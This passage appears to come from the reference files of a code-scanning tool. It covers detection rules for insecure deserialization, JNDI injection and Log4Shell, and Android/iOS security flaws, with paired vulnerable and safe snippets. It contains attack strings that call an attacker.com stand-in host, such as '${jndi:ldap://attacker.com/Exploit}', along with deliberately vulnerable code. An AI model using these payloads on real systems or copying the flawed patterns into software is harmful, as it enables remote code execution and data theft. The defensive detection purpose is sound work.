- Use `@JsonTypeInfo(use = Id.NAME)` with explicit `@JsonSubTypes`
- Enable `PolymorphicTypeValidator` (Jackson 2.10+)

### SnakeYAML
- Always use `new Yaml(new SafeConstructor())` for untrusted input
- Or use SnakeYAML Engine (snakeyaml-engine) which is safe by default

### Java Native Serialization
- Use serialization filters (`ObjectInputFilter`, JEP 290)
- Replace with JSON/Protobuf where possible
- Remove unnecessary gadget libraries from classpath

### General
- Never deserialize untrusted data without strict type validation
- Use allowlists (not blocklists) for permitted classes
- Prefer data-only formats (JSON with simple binding, Protocol Buffers) over object serialization

## Java Source Detection Rules

### TRUE POSITIVE: Native Java deserialization with user input
- A method contains `new ObjectInputStream(...).readObject()` and accepts data derived from user input (HTTP request body, Base64-decoded parameter, cookie value, or network stream). CONFIRM even if the complete call chain is in another file.
- A helper/utility class such as `SerializationHelper.fromString(String s)` that calls `ObjectInputStream.readObject()` IS a TP sink. Any controller or endpoint that passes a user-controlled string into this helper is vulnerable.
- Base64 decode followed by `ObjectInputStream.readObject()` on the result is the classic Java deserialization pattern — CONFIRM with high confidence when user-controlled bytes flow into this.
- Fastjson `JSON.parseObject(input)` or `JSON.parse(input)` without a type whitelist/SafeMode — CONFIRM as CWE-502.
- Jackson `readValue(input, Object.class)` or `readValue(input, HashMap.class)` with `enableDefaultTyping()` active — CONFIRM.
- Helper flows that read a cookie or parameter, Base64-decode it, then call `ObjectInputStream.readObject()` still count as `insecure_deserialization` even when the controller only invokes the helper.
- JDBC or demo flows that first persist attacker-controlled serialized bytes and later call `readObject()` on the retrieved blob are still `insecure_deserialization`; do not discard them just because the immediate source is a database row.

### FALSE POSITIVE: Internal or signed data only
- `ObjectInputStream` used exclusively to deserialize data that was serialized in the same JVM, never crossing a trust boundary.
- Fastjson/Jackson used only to serialize (write) data, never to parse untrusted external input.
- Serialization filters (`ObjectInputFilter`) that restrict allowed classes to a known-safe allowlist.
- Do NOT emit `insecure_deserialization` when the deserialization is part of a DIFFERENT vulnerability class already tagged (e.g., if Fastjson autoType is tagged as `component_vulnerability`, do not also tag `insecure_deserialization` for the same sink unless there is a SEPARATE deserialization path).
- Do NOT emit for `ObjectInputStream.readObject()` when the serialized data comes from a trusted internal source (e.g., database BLOB stored by the same application, internal message queue with authenticated producers only).

## Common False Alarms

- Deserialization of internally-generated, signed, or encrypted data with integrity checks
- `ObjectInputStream` used only for trusted IPC between same-trust-domain services
- Jackson/Gson simple binding without polymorphic type handling (safe by default)
- Fastjson used only for serialization (writing JSON), not parsing untrusted input

## .NET Deserialization Vulnerable Patterns

### BinaryFormatter (CWE-502)

```csharp
// VULNERABLE: BinaryFormatter on user-controlled input
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(Request.InputStream);

// VULNERABLE: LosFormatter (WebForms ViewState without MAC)
LosFormatter losFormatter = new LosFormatter();
object viewState = losFormatter.Deserialize(Request.Form["__VIEWSTATE"]);

// VULNERABLE: NetDataContractSerializer with untrusted input
NetDataContractSerializer serializer = new NetDataContractSerializer();
object obj = serializer.Deserialize(stream);
```

**.NET unsafe deserializers** (any of these on user-controlled input = CONFIRM):
- `BinaryFormatter`, `NetDataContractSerializer`, `SoapFormatter`
- `LosFormatter` (with ViewState MAC disabled)
- `ObjectStateFormatter` (without validation)

**.NET safe alternatives**:
- `DataContractSerializer` with known type list
- `XmlSerializer` with explicit known types
- `JsonSerializer` / `System.Text.Json` without TypeNameHandling

### TypeNameHandling in JSON.NET (Newtonsoft.Json)

```csharp
// VULNERABLE: TypeNameHandling.All or TypeNameHandling.Auto
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject(userInput, settings);

// SAFE: no TypeNameHandling, or TypeNameHandling.None (default)
var obj = JsonConvert.DeserializeObject<MyDto>(userInput);
```

## .NET TRUE POSITIVE Rules

- `BinaryFormatter.Deserialize(userStream)` — **CONFIRM** (RCE via .NET gadget chains)
- `JsonConvert.DeserializeObject` with `TypeNameHandling.All` or `TypeNameHandling.Auto` on user input — **CONFIRM**
- `LosFormatter.Deserialize(Request.Form["__VIEWSTATE"])` when `enableViewStateMac=false` — **CONFIRM**
- `NetDataContractSerializer.Deserialize(stream)` with user-controlled stream — **CONFIRM**

## .NET FALSE POSITIVE Rules

- `XmlSerializer` with explicit, fully-qualified known types and no `[XmlInclude]` wildcard on user input — generally safe
- `DataContractSerializer` with explicit `[KnownType]` list and no dynamic type resolution
- `JsonConvert.DeserializeObject<ExplicitType>(input)` with no `TypeNameHandling` setting (default = None) — safe for simple DTOs

## Analyst Notes

1. Check `pom.xml` / `build.gradle` for Fastjson version — any version < 2.0 with user input parsing is likely vulnerable
2. Even "internal" APIs may receive attacker-controlled input via SSRF or upstream injection
3. The `@type` field in Fastjson is the key indicator — if the application parses JSON containing `@type`, it's exploitable
4. For Jackson, grep for `enableDefaultTyping` and `@JsonTypeInfo` — these are the danger signals
5. SnakeYAML is commonly used in Spring Boot for config parsing — check if it also parses user-provided YAML
6. Chain deserialization with classpath analysis: having CommonsCollections/C3P0/Spring on classpath makes native Java deserialization instantly critical

## references/jndi_injection.md

---
name: jndi_injection
description: JNDI injection detection — vulnerable code patterns where user input reaches JNDI lookup calls enabling RCE via LDAP/RMI object loading (Log4Shell and beyond)
---

# JNDI Injection

JNDI (Java Naming and Directory Interface) injection occurs when user-controlled input reaches a `InitialContext.lookup()` call or equivalent, allowing an attacker to load a remote Java object from an LDAP or RMI server they control, resulting in Remote Code Execution.

## CWE Classification

- **CWE-74**: Improper Neutralization of Special Elements in Output Used by a Downstream Component (parent)
- **CWE-917**: Improper Neutralization of Special Elements used in an Expression Language Statement (JNDI lookup injection)
- **CWE-502**: Deserialization of Untrusted Data (remote class/object loading via JNDI)
- **CWE-918**: Server-Side Request Forgery (when used to reach internal services)

## Source → Sink Pattern

**Sources**: HTTP parameters, headers (`User-Agent`, `X-Forwarded-For`, `Referer`, `X-Api-Version`), request body, log messages that include user data

**Sinks**:
- `new InitialContext().lookup(userInput)`
- `context.lookup(userInput)` — any `javax.naming.Context`
- `jndiTemplate.lookup(userInput, ...)`
- Logging frameworks that perform JNDI lookups on `${jndi:...}` patterns in log messages

## Vulnerable Code Patterns

### Direct JNDI Lookup

```java
// VULNERABLE: user input used as JNDI resource name
String datasource = request.getParameter("ds");
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(datasource);
// attacker passes: ldap://attacker.com/Exploit → loads remote class → RCE

// VULNERABLE: lookup with concatenated user-controlled path
String userGroup = request.getParameter("group");
Object obj = new InitialContext().lookup("ldap://internal-server/" + userGroup);

// VULNERABLE: Spring JndiTemplate wrapping user input
JndiTemplate jndiTemplate = new JndiTemplate();
Object resource = jndiTemplate.lookup(request.getParameter("resource"));
```

**VULN indicator**: Any `Context.lookup(...)` call where the lookup name is fully or partially controlled by external input.

### Log4Shell (CVE-2021-44228) — Logging Framework Pattern

```java
// VULNERABLE: Log4j2 logging of user-controlled data triggers JNDI lookup
// in Log4j2 versions < 2.15.0 (or < 2.17.0 for some bypass vectors)
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

Logger logger = LogManager.getLogger(MyClass.class);

// Any of these patterns is VULNERABLE if the logged value contains ${jndi:...}:
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
logger.error("Login failed for: " + request.getParameter("username"));
logger.warn("Request path: {}", request.getRequestURI());

// Attacker sends: User-Agent: ${jndi:ldap://attacker.com/Exploit}
// Log4j2 interpolates the ${jndi:...} expression → JNDI lookup → RCE
```

**VULN condition for Log4Shell**:
1. `log4j-core` version < 2.15.0 in `pom.xml` / `build.gradle`
2. Logger logging user-controlled data (HTTP headers, params, body, path)
3. `log4j2.formatMsgNoLookups=false` (default in vulnerable versions)

**SAFE indicators** (Log4Shell):
- `log4j-core` version >= 2.17.0 (lookups disabled by default)
- JVM arg `-Dlog4j2.formatMsgNoLookups=true`
- `LOG4J_FORMAT_MSG_NO_LOOKUPS=true` env var
- `PatternLayout` with `%msg{nolookups}` in `log4j2.xml`

### Spring JNDI / JDBC DataSource via JNDI

```java
// VULNERABLE: Spring DataSource configured via user-influenced JNDI name
// In application.properties or user-supplied config:
// spring.datasource.jndi-name=rmi://attacker.com/Exploit
JndiDataSourceLookup lookup = new JndiDataSourceLookup();
DataSource ds = lookup.getDataSource(userSuppliedJndiName);

// VULNERABLE: JPA/Hibernate persistence unit with user-controlled JNDI
// persistence.xml: <non-jta-data-source>${userInput}</non-jta-data-source>
```

### RMI Registry Lookup

```java
// VULNERABLE: RMI lookup with user-controlled registry URL
String rmiUrl = request.getParameter("service");
Remote obj = Naming.lookup(rmiUrl);  // rmi://attacker.com/EvilObject → RCE

// VULNERABLE: Registry lookup
Registry registry = LocateRegistry.getRegistry(userHost, userPort);
Object stub = registry.lookup(userServiceName);
```

### LDAP / LDAPS Client Code

```java
// VULNERABLE: LDAP search with user-controlled attribute value (LDAP injection risk + JNDI chain)
DirContext ctx = new InitialDirContext(env);
String filter = "(uid=" + request.getParameter("user") + ")";
NamingEnumeration<?> results = ctx.search("ou=people,dc=example,dc=com", filter, controls);
// If javaSerializedData / javaClassName attributes are returned and processed, potential deserialization
```

## Detection Signals by Dependency

### Maven/Gradle — Vulnerable Log4j Versions

```xml
<!-- pom.xml — VULNERABLE versions -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>  <!-- CVE-2021-44228 -->
</dependency>
<!-- Any version < 2.17.0 is potentially vulnerable to some Log4Shell variant -->
```

**Version thresholds**:
- `< 2.15.0`: Original Log4Shell (CVE-2021-44228)
- `< 2.16.0`: Bypass (CVE-2021-45046)
- `< 2.17.0`: DoS (CVE-2021-45105)
- `< 2.17.1` / `< 2.12.4` (Java 8) / `< 2.3.2` (Java 7): RCE via configuration (CVE-2021-44832)

### Classpath Gadgets That Enable JNDI RCE

When JNDI lookup loads a remote class, execution occurs in the JVM. The following libraries extend impact:
- `commons-collections` (any version)
- `spring-beans` / `spring-core`
- `org.codehaus.groovy:groovy`
- `bsh:bsh` (BeanShell)

Their presence on the classpath combined with `InitialContext.lookup(userInput)` = **CRITICAL**.

## Java Source Detection Rules

### TRUE POSITIVE

- `new InitialContext().lookup(userInput)` where `userInput` is any HTTP request value → **CONFIRM** (JNDI injection / SSRF / potential RCE)
- `Context.lookup(url)` where `url` contains `ldap://`, `rmi://`, `dns://`, `corba://`, or `iiop://` prefix coming from request data → **CONFIRM**
- Log4j-core < 2.15.0 + `logger.info/warn/error/debug(...)` logging any user-controlled string → **CONFIRM** (Log4Shell)
- `JndiTemplate.lookup(request.getParameter(...))` → **CONFIRM**

### FALSE POSITIVE

- `Context.lookup("java:comp/env/jdbc/MyDS")` — fully hardcoded JNDI name, no user input → **NOT JNDI injection**
- `InitialContext.lookup(appConfig.getJndiName())` — name from server config, not user input → **NOT JNDI injection**
- Log4j-core >= 2.17.0 with `formatMsgNoLookups` or `noConsoleNoAnsi` patterns → **SAFE** (lookups disabled)
- Log4j1.x — does NOT support `${jndi:...}` lookup syntax (Log4Shell is Log4j2 only)

## JNDI Lookup URL Schemes to Flag

Any user-controlled string that could contain:
- `ldap://` or `ldaps://` — LDAP/LDAPS object factory loading
- `rmi://` — Java RMI object loading
- `dns://` — DNS resolution (information disclosure)
- `corba://` or `iiop://` — CORBA/IIOP object loading
- `jndi:ldap://`, `${jndi:...}` — Log4Shell interpolation pattern

## Severity

| Pattern | Severity |
|---------|----------|
| Direct `InitialContext.lookup(userInput)` | Critical |
| Log4Shell: log4j2 < 2.15.0 logging user HTTP headers/params | Critical |
| RMI `Naming.lookup(userInput)` | Critical |
| LDAP search filter injection (without object loading) | High |
| DNS-only JNDI lookup (information disclosure) | Medium |
- FALSE POSITIVE guard: `log4j`, `fastjson`, or similar component demos are not `jndi_injection` unless untrusted data reaches an actual JNDI lookup sink such as `InitialContext.lookup`, `${jndi:...}`, or equivalent runtime resolution.

## references/mobile_security.md

---
name: mobile_security
description: Mobile security detection for Android and iOS — vulnerable code patterns for insecure data storage, intent injection, WebView RCE, insecure IPC, and crypto misuse
---

# Mobile Security (Android / iOS)

Identify cases where mobile application code stores sensitive data insecurely, exposes components to untrusted callers, passes user-controlled input to dangerous APIs without validation, or applies weak or static cryptographic material.

## Source -> Sink Pattern

**Android Sources**
- `getIntent().getStringExtra(...)` / `getIntent().getData()`
- `ContentResolver` query parameters passed through `Uri` or cursor data
- `Bundle` values from `getArguments()` in Fragment
- Deep-link parameters extracted from `Intent.ACTION_VIEW` data
- IPC data received via `Messenger`, `AIDL`, or `BroadcastReceiver.onReceive(context, intent)`

**iOS Sources**
- URL scheme parameters: `url.host`, `url.path`, `URLComponents(url:).queryItems`
- Universal Link / deep-link payload in `application(_:open:options:)`
- Push notification payload: `userInfo["url"]` or arbitrary `userInfo` keys
- Clipboard: `UIPasteboard.general.string`
- `WKScriptMessage.body` from JavaScript message handlers

**Android Sinks**
- `SharedPreferences.Editor.putString(key, sensitiveValue)` with `MODE_WORLD_READABLE`
- `SQLiteDatabase.execSQL(rawQuery)` / `rawQuery(query, null)` where query contains untrusted data
- `Log.d/i/v/w/e(TAG, sensitiveValue)`
- `new FileOutputStream(new File(Environment.getExternalStorageDirectory(), filename))`
- `WebView.loadUrl(userControlledUrl)`
- `WebView.addJavascriptInterface(object, name)`
- `startActivity(intentFromIPC)` / `startService(intentFromIPC)`
- `Cipher.getInstance("AES/ECB/...")` / `Cipher.getInstance("DES/...")`

**iOS Sinks**
- `UserDefaults.standard.set(sensitiveValue, forKey: key)`
- `FileManager.default.createFile(atPath: docPath, contents: sensitiveData, attributes: nil)` without `NSFileProtectionComplete`
- `print(sensitiveValue)` / `NSLog(@"%@", sensitiveValue)`
- `WKWebView.load(URLRequest(url: unvalidatedURL))`
- `UIApplication.shared.open(unvalidatedURL)`
- `CCCrypt` with `kCCAlgorithmDES` or key length < 16
- `SecItemAdd` / `SecItemUpdate` storing cleartext passwords outside the keychain

---

## Android Vulnerable Patterns

### Insecure Data Storage

#### SharedPreferences with Sensitive Data

**VULN** — world-readable preference file exposing credentials:
```java
SharedPreferences prefs = getSharedPreferences("creds", MODE_WORLD_READABLE);
prefs.edit().putString("password", userPassword).apply();
```

**VULN** — storing auth token in default (unencrypted) SharedPreferences:
```java
getSharedPreferences("app_prefs", MODE_PRIVATE)
    .edit().putString("auth_token", token).apply();
// MODE_PRIVATE is filesystem-private but still plaintext on the device
```

**SAFE** — using `EncryptedSharedPreferences` from Jetpack Security:
```java
SharedPreferences encPrefs = EncryptedSharedPreferences.create(
    "secret_prefs", masterKeyAlias, context,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM);
encPrefs.edit().putString("auth_token", token).apply();
```

**TRUE POSITIVE**: `putString` / `putInt` / `putLong` writing a value whose variable name or assignment origin contains tokens such as `password`, `token`, `secret`, `key`, `credential`, `ssn`, `pin`, or `cvv`.

**FALSE POSITIVE**: `putString("theme", userSelectedTheme)` — non-sensitive UI preference. Do not flag when the stored value demonstrably carries no authentication or personal-data semantics.

---

#### Logging Sensitive Data

**VULN**:
```java
Log.d(TAG, "User password: " + password);
Log.i(TAG, "Auth token=" + authToken);
Log.e(TAG, "Login failed for user: " + email + " pwd=" + pwd);
```

**SAFE** — sanitized log message:
```java
Log.d(TAG, "Login attempt for user: " + userId);  // no credential value
```

**TRUE POSITIVE**: `Log.d/i/v/w/e` where the concatenated or formatted string contains a variable whose name matches `password`, `passwd`, `token`, `secret`, `key`, `credential`, `pin`, `cvv`, `ssn`, or `dob`.

**FALSE POSITIVE**: `Log.d(TAG, "Request URL: " + url)` where `url` is a non-sensitive endpoint. Evaluate the variable name and assignment chain, not the presence of `Log` alone.

---

#### External Storage Writes with Sensitive Data

**VULN**:
```java
File file = new File(Environment.getExternalStorageDirectory(), "user_data.json");
FileOutputStream fos = new FileOutputStream(file);
fos.write(sensitiveJson.getBytes());
```

**SAFE** — internal storage:
```java
FileOutputStream fos = openFileOutput("user_data.json", Context.MODE_PRIVATE);
fos.write(encryptedData);
```

**TRUE POSITIVE**: `getExternalStorageDirectory()` or `getExternalFilesDir()` combined with a write operation whose data originates from a sensitive variable or network response containing credentials/PII.

**FALSE POSITIVE**: Writing a cached image, log file, or media file to external storage where the content carries no sensitive semantics.

---

#### Hardcoded Credentials / Keys

**VULN**:
```java
private static final String API_KEY = "AIzaSyD-EXAMPLE-KEY-12345";
private static final String DB_PASSWORD = "Sup3rS3cr3t!";
String jwt = signJWT(payload, "hardcoded_secret_key");
```

**TRUE POSITIVE**: String literal assigned to a variable named `key`, `secret`, `password`, `token`, `apiKey`, `privateKey`, or `credential` — particularly when the literal length and entropy are consistent with a real credential (e.g., > 16 characters with mixed case and digits).

**FALSE POSITIVE**: Placeholder strings such as `"YOUR_KEY_HERE"`, `"TODO"`, or `"REPLACE_ME"` in configuration templates. Also do not flag localization strings, error message literals, or display labels even when they appear in a field named `key`.

---

### Intent Injection / Exported Components

#### Exported Activity / Service / Receiver Without Permission Check

**VULN** — exported with no `android:permission`:
```xml
<activity android:name=".DeepLinkActivity" android:exported="true" />
<service android:name=".SyncService" android:exported="true" />
<receiver android:name=".TokenReceiver" android:exported="true" />
```

```java
// Inside DeepLinkActivity.onCreate — no caller identity check
String target = getIntent().getStringExtra("redirect");
startActivity(new Intent(this, InternalActivity.class).putExtra("url", target));
```

**SAFE** — permission-gated export:
```xml
<activity android:name=".AdminActivity"
          android:exported="true"
          android:permission="com.example.permission.ADMIN" />
```

**TRUE POSITIVE**: `android:exported="true"` on a component that reads intent extras and uses them in a sensitive operation (file access, SQL query, `startActivity`, `loadUrl`) without validating the caller via `checkCallingPermission` or an explicit allowlist.

**FALSE POSITIVE**: Launcher Activity with `<intent-filter><action android:name="android.intent.action.MAIN"/>` — this must be exported; flag only when it also passes intent extras to dangerous sinks without validation.

---

#### Intent Data Used in SQL / File Path Without Validation

**VULN**:
```java
String id = getIntent().getStringExtra("user_id");
Cursor c = db.rawQuery("SELECT * FROM users WHERE id='" + id + "'", null);
```

```java
String filename = getIntent().getStringExtra("file");
File f = new File(getFilesDir(), filename);  // path traversal if filename contains ../
FileInputStream fis = new FileInputStream(f);
```

**SAFE**:
```java
String id = getIntent().getStringExtra("user_id");
Cursor c = db.rawQuery("SELECT * FROM users WHERE id=?", new String[]{id});
```

**TRUE POSITIVE**: `getIntent().getStringExtra(...)` / `getIntent().getData()` value flows without sanitization into `rawQuery`, `execSQL`, `new File(base, userValue)`, `loadUrl`, or `Runtime.exec`.

**FALSE POSITIVE**: Intent extra used only as a display label rendered in a `TextView` with no HTML rendering enabled.

---

#### WebView Loading Intent-Supplied URL

**VULN**:
```java
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);  // arbitrary URL including javascript: or file://
```

**SAFE**:
```java
String url = getIntent().getStringExtra("url");
if (url != null && url.startsWith("https://trusted.example.com/")) {
    webView.loadUrl(url);
}
```

**TRUE POSITIVE**: `webView.loadUrl(...)` or `webView.loadData(...)` where the argument is directly derived from `getIntent()`, `getStringExtra`, `uri.getQueryParameter`, or another IPC channel without a strict prefix or allowlist check.

**FALSE POSITIVE**: `webView.loadUrl(BuildConfig.BASE_URL + "/help")` where `BuildConfig.BASE_URL` is a compile-time constant.

---

### WebView RCE

#### addJavascriptInterface Exposure

**VULN**:
```java
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new FileAccessBridge(this), "NativeBridge");
// FileAccessBridge methods are now callable from any page loaded in the WebView
```

**SAFE** — restrict to trusted origins only and remove the interface when not needed:
```java
// On API < 17, addJavascriptInterface is exploitable regardless.
// On API >= 17, only @JavascriptInterface-annotated methods are exposed,
// but loading untrusted URLs still allows arbitrary method invocation.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
    webView.addJavascriptInterface(bridge, "NativeBridge");
    webView.loadUrl("https://internal.example.com/ui");
} // ensure the loaded URL is never user-controlled
```

**TRUE POSITIVE**: `addJavascriptInterface` present AND `setJavaScriptEnabled(true)` AND `loadUrl` / `loadData` where the loaded URL or content is user-controlled or loaded from an untrusted origin.

**FALSE POSITIVE**: `addJavascriptInterface` where the WebView exclusively loads a bundled `file:///android_asset/` resource that contains no user-generated content and JavaScript is enabled only for that asset.

---

#### JavaScript Enabled with User-Controlled URL

**VULN**:
```java
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccessFromFileURLs(true);
webView.loadUrl(urlFromIntent);
```

**TRUE POSITIVE**: `setJavaScriptEnabled(true)` combined with `loadUrl` / `loadDataWithBaseURL` where the URL argument traces to external input (intent extra, deep link, push notification payload).

**FALSE POSITIVE**: `setJavaScriptEnabled(true)` with a hardcoded `loadUrl("https://app.example.com/home")` — no user control over the loaded origin.

---

#### shouldOverrideUrlLoading Returning False Unconditionally

**VULN**:
```java
webView.setWebViewClient(new WebViewClient() {
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        return false;  // allows all navigations including javascript: and file://
    }
});
```

**TRUE POSITIVE**: `shouldOverrideUrlLoading` returns `false` (or is absent) and no URL scheme validation is applied elsewhere before loading user-controlled navigations.

**FALSE POSITIVE**: Returns `false` only after an explicit scheme/host allowlist check has already confirmed the URL is safe.

---

### Insecure IPC

#### ContentProvider Without Permission Check

**VULN** — exported with no `android:permission`:
```xml
<provider
    android:name=".UserDataProvider"
    android:authorities="com.example.provider"
    android:exported="true" />
```

```java
@Override
public Cursor query(Uri uri, String[] projection, String selection,
                    String[] selectionArgs, String sortOrder) {
    return db.rawQuery("SELECT * FROM users WHERE " + selection, null);
    // 'selection' comes directly from untrusted caller
}
```

**SAFE**:
```xml
<provider
    android:name=".UserDataProvider"
    android:authorities="com.example.provider"
    android:exported="true"
    android:readPermission="com.example.permission.READ_DATA"
    android:writePermission="com.example.permission.WRITE_DATA" />
```

**TRUE POSITIVE**: `android:exported="true"` ContentProvider with no `android:permission` / `android:readPermission` attribute AND a `query` / `insert` / `update` / `delete` override that uses `selection` or `selectionArgs` in a raw SQL call without parameterization.

**FALSE POSITIVE**: ContentProvider exported solely for use by a companion app that shares the same `android:sharedUserId` and is declared as a system component. Still recommend adding permission protection as defense-in-depth.

---

#### SQL Injection in ContentProvider query()

**VULN**:
```java
public Cursor query(Uri uri, String[] proj, String selection, String[] args, String sort) {
    String query = "SELECT * FROM messages WHERE sender='" + selection + "'";
    return db.rawQuery(query, null);
}
```

**SAFE**:
```java
public Cursor query(Uri uri, String[] proj, String selection, String[] args, String sort) {
    return db.query("messages", proj, "sender=?", new String[]{selection}, null, null, sort);
}
```

**TRUE POSITIVE**: `selection` parameter concatenated into the SQL string passed to `rawQuery` or `execSQL` inside a ContentProvider method.

**FALSE POSITIVE**: `selection` passed as the `whereClause` argument of `db.query(table, proj, whereClause, whereArgs, ...)` where it is used as a parameterized clause with `whereArgs` — only flag if the literal SQL string is assembled by concatenation.

---

#### PendingIntent with Empty Base Intent

**VULN**:
```java
Intent base = new Intent();  // empty — action and component unset
PendingIntent pi = PendingIntent.getActivity(context, 0, base, PendingIntent.FLAG_MUTABLE);
// A malicious app receiving this PendingIntent can fill in any target
```

**SAFE**:
```java
Intent base = new Intent(context, TargetActivity.class);
PendingIntent pi = PendingIntent.getActivity(context, 0, base,
    PendingIntent.FLAG_IMMUTABLE);
```

**TRUE POSITIVE**: `PendingIntent` constructed from an `Intent` with no `setComponent`, `setClass`, or explicit action set, especially when `FLAG_MUTABLE` is used on API 31+.

**FALSE POSITIVE**: `FLAG_IMMUTABLE` PendingIntents with fully specified explicit intents — immutable PendingIntents cannot be modified by the recipient.

---

### Insecure Crypto (Android)

#### ECB Mode

**VULN**:
```java
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
```

**SAFE**:
```java
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv));
```

**TRUE POSITIVE**: `Cipher.getInstance` argument contains `"ECB"` for any algorithm.

**FALSE POSITIVE**: None — ECB mode is never safe for encrypting data longer than one block.

---

#### Static / Zero IV

**VULN**:
```java
IvParameterSpec iv = new IvParameterSpec(new byte[16]);  // all-zero IV
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, key, iv);
```

**SAFE**:
```java
byte[] ivBytes = new byte[16];
new SecureRandom().nextBytes(ivBytes);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
```

**TRUE POSITIVE**: `new IvParameterSpec(new byte[N])` — zero-initialized byte array used as IV, or any IV literal such as `"0000000000000000".getBytes()`.

**FALSE POSITIVE**: IV array that is subsequently filled by `SecureRandom.nextBytes(iv)` before use — evaluate the data flow, not just the allocation site.

---

#### Weak Key Size

**VULN**:
```java
KeyGenerator kg = KeyGenerator.getInstance("AES");
kg.init(64);  // 64-bit key — far below the 128-bit minimum
SecretKey key = kg.generateKey();
```

**SAFE**:
```java
KeyGenerator kg = KeyGenerator.getInstance("AES");
kg.init(256);
```

**TRUE POSITIVE**: `KeyGenerator.init(n)` where `n < 128` for AES, or `n < 2048` for RSA, or `n < 256` for EC.

**FALSE POSITIVE**: Key size argument is a variable whose value is determined at runtime from a validated configuration — flag only when the literal value is demonstrably weak.

---

#### java.util.Random for Security Tokens

**VULN**:
```java
Random rng = new Random();
String token = Long.toHexString(rng.nextLong());
session.setToken(token);
```

**SAFE**:
```java
SecureRandom rng = new SecureRandom();
byte[] tokenBytes = new byte[32];
rng.nextBytes(tokenBytes);
String token = Base64.encodeToString(tokenBytes, Base64.URL_SAFE | Base64.NO_WRAP);
```

**TRUE POSITIVE**: `new Random()` or `Math.random()` used to generate values assigned to variables named `token`, `nonce`, `otp`, `salt`, `sessionId`, `key`, or `secret`.

**FALSE POSITIVE**: `new Random()` used for UI randomness (shuffle, animation, A/B bucket assignment) where the value has no security meaning.

---

## iOS Vulnerable Patterns (Swift / Objective-C)

### Insecure Keychain / Storage

#### UserDefaults Storing Sensitive Data

**VULN**:
```swift
UserDefaults.standard.set(password, forKey: "userPassword")
UserDefaults.standard.set(authToken, forKey: "authToken")
```

**VULN (Objective-C)**:
```objc
[[NSUserDefaults standardUserDefaults] setObject:token forKey:@"auth_token"];
```

**SAFE** — store in the Keychain:
```swift
let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrAccount as String: "userPassword",
    kSecValueData as String: password.data(using: .utf8)!
]
SecItemAdd(query as CFDictionary, nil)
```

**TRUE POSITIVE**: `UserDefaults.standard.set(value, forKey: key)` where the value originates from a variable named `password`, `token`, `secret`, `key`, `credential`, `pin`, or `ssn`.

**FALSE POSITIVE**: `UserDefaults.standard.set(true, forKey: "hasCompletedOnboarding")` — non-sensitive flag. Evaluate the semantics of both the key name and the value origin.

---

#### File Written Without Data Protection

**VULN**:
```swift
let path = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
    .appendingPathComponent("credentials.json")
try sensitiveData.write(to: path)  // no file protection attributes
```

**SAFE**:
```swift
try sensitiveData.write(to: path, options: .completeFileProtection)
// equivalent to NSFileProtectionComplete — file inaccessible when device is locked
```

**TRUE POSITIVE**: `.write(to: path)` or `FileManager.createFile(atPath:contents:attributes:)` with `attributes: nil` (or absent `NSFileProtectionKey`) when the written content is sensitive.

**FALSE POSITIVE**: Writing cached images, non-sensitive JSON configuration, or temporary files to `.cachesDirectory` without file protection is low risk; flag only when the written data contains credentials or PII.

---

#### Logging Sensitive Data

**VULN**:
```swift
print("Auth token: \(authToken)")
print("Password entered: \(password)")
NSLog("User credentials: %@ / %@", username, password)
```

**SAFE**:
```swift
print("Login attempt for user ID: \(userId)")  // no credential value emitted
```

**TRUE POSITIVE**: `print(...)` or `NSLog(...)` interpolating or formatting a variable whose name contains `password`, `token`, `secret`, `key`, `credential`, `pin`, or `ssn`.

**FALSE POSITIVE**: `print("Response status: \(statusCode)")` — no sensitive value present.

---

### Insecure URL Scheme / Deep Link Handling

#### Unvalidated Deep-Link URL Handling

**VULN**:
```swift
func application(_ app: UIApplication, open url: URL,
                 options: [UIApplication.OpenURLOptionsKey: Any] = [:]) -> Bool {
    let target = url.host  // e.g. myapp://redirect?to=https://evil.com
    webView.load(URLRequest(url: URL(string: target!)!))
    return true
}
```

**SAFE**:
```swift
func application(_ app: UIApplication, open url: URL,
                 options: [UIApplication.OpenURLOptionsKey: Any] = [:]) -> Bool {
    guard let host = url.host, allowedHosts.contains(host) else { return false }
    webView.load(URLRequest(url: URL(string: "https://\(host)/safe-path")!))
    return true
}
```

**TRUE POSITIVE**: URL components extracted from `application(_:open:options:)` or `scene(_:openURLContexts:)` flow directly into `WKWebView.load(URLRequest(...))`, `UIApplication.shared.open(...)`, or file operations without scheme/host validation.

**FALSE POSITIVE**: URL host extracted from the deep link and used only as a lookup key against a local dictionary or route map where actual navigation targets are hardcoded.

---

#### WKWebView Loading Unvalidated External URL

**VULN**:
```swift
let urlString = deepLinkURL.queryParameters["redirect"] ?? ""
webView.load(URLRequest(url: URL(string: urlString)!))
```

**SAFE**:
```swift
guard let urlString = deepLinkURL.queryParameters["redirect"],
      urlString.hasPrefix("https://trusted.example.com/") else { return }
webView.load(URLRequest(url: URL(string: urlString)!))
```

**TRUE POSITIVE**: `WKWebView.load(URLRequest(url: externalURL))` where `externalURL` is derived from external input (URL scheme, push notification, user text field) without strict prefix or allowlist validation.

